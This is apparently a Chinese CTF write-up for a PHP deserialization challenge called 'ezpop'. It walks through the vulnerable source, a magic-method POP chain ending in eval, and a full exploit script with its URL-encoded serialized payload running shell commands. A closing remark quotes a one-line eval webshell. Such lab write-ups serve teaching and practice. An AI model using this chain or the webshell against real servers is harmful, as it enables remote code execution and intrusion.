1.ezpop
2.calc
3.upgdstore
ezpop
给出了源码:
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
?>
显然,这是要我们找到一条POP链。
我们从目的出发,找到可以利用的函数eval()
——可以将字符串按照php代码来计算。如果传入system()
函数调用外部命令实现rce,就有可能找到flag。
可以明确用mix::get_flag()
函数触发eval()
,那么,如何触发mix::get_flag()
:
1、通过mix::run()
触发,但这样会限制$m1为"get_flag",从而无法利用eval()
执行命令,行不通;
2、通过fin::__call($a, $b)
触发,将mix传入fin的$f1
即可,可行。
接下来,如何触发fin::__call($a, $b)
成了问题,目前就只形成了这样的链子
fin::__call() --> mix::get_flag()
倒推困难,我们就找入口正推。这里注意到这样几个魔术方法
__destruct() //当对象被销毁时触发
__toString() //当把类当作字符串使用时触发
__invoke() //当对象调用为函数时触发
__call() //当对象上下文中调用不可访问的方法时触发
而fin::_destruct()
恰好可以用来触发what::_toString()
,从而可以触发run()
,继而再触发一个函数,如果触发_invoke()
,由于world()
不可访问,就可以用之触发_call()
,从而形成完整的POP链:
fin::__destruct() --> what::__toString() --> fin::run() --> crow::__invoke() --> fin::__call() --> mix::get_flag()
(这里用的fin::run()
,另一个似乎也可以)。
另一个需要注意的点是:eval()
用'#'进行了过滤,因此还需要绕过,这里可以选用?>
闭合,也可以选用\n
换行符!
构造exp如下:
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
//fin::__destruct() --> what::__toString() --> fin::run() --> crow::__invoke() --> fin::__call() --> mix::get_flag()
$a=new fin();//为了调用__destruct()方法
$b=new fin();
//$b=new mix;
$c=new fin();
$d=new crow();
$e=new what();
$f=new mix();
$a->f1=$e;//为了调用__toString()方法
$e->a=$b;//为了去调用run方法
$b->f1=$d;//为了去调用__invoke()方法
$d->v1=$c;//为了去调用__call()方法
$c->f1=$f;//为了去调用get_flag()方法
$f->m1="\nsystem('ls /');" ;//用 \n 绕过注释符
echo urlencode(serialize($a));
?>
得到O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A16%3A%22%0Asystem%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D
最后用bp传参即可(这里用ls /
命令查根目录较麻烦,于是用ls
查当前目录,也不很好找,最后选择用cat *
查看所有文件,结果如下图)
成功找到flag!
**
该题在构造pop链上思路不算混乱(可能跟我偷看了一眼wp有关),但是在传参上遇到了很大的问题,一方面HackBar(估计是HB自身问题)总是失败搞人心态,另一方面用burp suite发送POST请求的方法没有掌握,即有三个地方需要修改:
1、GET修改为POST方法
2、加上媒体类型信息:Content-Type: application/x-www-form-urlencoded
3、末尾添加需上传语句:cmd=xxxx
**
另外有师傅在构造exp时传入"?><? @eval(\$_POST[b]);"
,继而利用蚁剑连接找flag,但是博主尚未弄清蚁剑